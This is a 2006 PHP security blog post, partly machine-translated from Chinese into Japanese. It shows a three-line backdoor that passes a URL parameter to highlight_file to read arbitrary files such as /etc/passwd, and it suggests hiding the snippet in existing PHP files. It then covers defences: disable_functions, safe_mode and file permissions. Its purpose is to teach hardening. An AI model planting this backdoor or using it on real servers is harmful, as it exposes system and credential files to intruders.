PHP コードのハイライト機能を使用して PHP の小さなバックドアを構築する

WBOY
リリース: 2016-06-21 09:06:51
オリジナル
1051 人が閲覧しました

函数

[  后门构造 ]

我们知道php非常强大,并且有很多有趣的功能,比如它就自带了一个php代码加亮的函数,叫做:highlight_string,它的参数就是一个字符串,如果这个字符串中包含了PHP代码,那么它将高亮显示,并且直接输出在浏览器中。
比如如下的代码:
highlight_string('');
?>
执行后,在浏览器中输出:
<font color="#000000"><br><font color="#0000BB"><?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?></font><br></font><br>

显示代码的颜色,在php.ini文件中可以设置,php.ini中有如下选项:
;highlight.string  = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg      = #FFFFFF
;highlight.default = #0000BB
;highlight.html    = #000000

这个是直接显示字符串颜色的,那么我要显示整个PHP文件呢?也有函数:highlight_file,函数参数就是文件名或者文件路径。这个函数跟上面函数功能类似,不过它提交的是一个文件的路径而已。

那么我们的小后门关键就在这里了,就是大概我们利用highlight_file函数来帮助我们读取系统中任意文件,现在我们构造一段测试代码。

$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>

代码大致功能就是通过URL中提交一个变量名为f的变量接受需要高亮显示代码的php文件路径,然后程序在调用highlight_file函数来显示该文件。然后把该文件保存到我的个人主目录的public_html目录下,文件名为test.php。

现在我们使用firefox打开:http://192.168.0.1/~heiyeluren/test.php,返回的是我们test.php的文件内容,现在我们存取passwd文件看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
马上页面里就显示了很多用户信息:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......

我们再查看php的配置文件php.ini的信息:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
马上显示了:
[PHP]

;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.

 ......

看来只要权限允许,很多文件都能够直接读取,对我们系统构成了巨大威胁。换句话说,如果把上面代码插入到当前web系统中其他任意一个能够直接访问的php文件中,通过特殊的变脸进行激活,而且一般程序员是不会那么仔细的检查每个PHP程序文件,那么恶意用户就能够随时随地查看我们的系统文件。


[  系统防范 ]

那么,如果防止,或者说拒绝类似的问题呢?因为,同样的,php的文件存取函数非常多,比如file、file_get_contents、readfile等函数,我们如何防止这些函数带来的威胁呢?


解决方法一:

如果系统中只是跟数据库进行交互,那么完全可以屏蔽掉这些文件存取函数,象fopen、file、file_get_contents、readfile、opendir等函数,方法就是在php的配置文件php.ini中进行禁止,php.ini中有一个选项叫做disable_functions,我们可以把需要屏蔽的函数放到里面:

disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir

那么上面那些函数就无法使用了,比如你调用了highlight_file函数,那么php引擎会提示你:

Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5

もちろん、それらをすべて削除することはできません。たとえば、使用頻度が低いと思われる機能を無効にできるというだけです。


解決策 2:

機能を無効にすると、その機能にアクセスできなくなります。解決策は、php.ini を設定して PHP のセーフ モードをオンにすることです:

safe_mode = On

もちろん、必要に応じて、より適切に制御するために open_basedir などのオプションを設定するのが最善です。詳細については、php を参照してください。マニュアル。
php のセーフ モードをオンにした後、もう一度 /etc/passwd にアクセスして URL を送信しましょう:

http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd

それから閲覧しますサーバーはただちに次のメッセージを表示します:

警告:highlight_file() [function.highlight-file]: SAFE MODE 制限が有効です。uid が 500 のスクリプトは、/home/heiyeluren の uid 0 が所有する /etc/passwd にアクセスできません。 /public_html/test.php の 5 行目


解決策 3:

PHP の強力な機能を失うことなく、それらの機能を通常どおりに使用できるようにします。これを防ぐ方法は、システムの各ディレクトリにさまざまな異なる設定を設定することです。 /etc/passwd ファイルなど。たとえば、デフォルトの権限は次のとおりです:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r-- 1 root root 41489 5 12:40 /usr/ local/php /lib/php.ini


気軽に読み込まれないように設定しましょう:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local /php/lib/php.ini
-rw-r----- 1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini

さて、 http:// 192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini をご覧ください:

警告: ハイライト_ファイル(/usr/local/php/lib) /php.ini) [function.highlight-file]: ストリームを開けませんでした: /home/heiyeluren/public_html/test.php の 5 行目で許可が拒否されました

警告: highlight_file() [function.highlight-file]: 失敗しました/home/heiyeluren/public_html/test.php の 5 行目で強調表示するために「/usr/local/php /lib/php.ini」を開きます

ファイル /usr/local/php/ を読み取る権限がないことを警告しますlib/php.ini は正常に目的を達成しました。


[結論]

PHP は非常に強力であることに気づき、できるだけ早くこの強力な言語を使用する開発者が増えることを願っています。この言語は強力ですが、当然ながら、開発者であってもシステム管理者であっても、システムを安全かつ使いやすいものにするために、全員が緊密にコミュニケーションする必要があります。私たちは熱心に研究し、強力な機能とセキュリティの適切な組み合わせを見つける必要があります。


書き込み by heiyeluren
2006-03-05 13:35 pm



関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート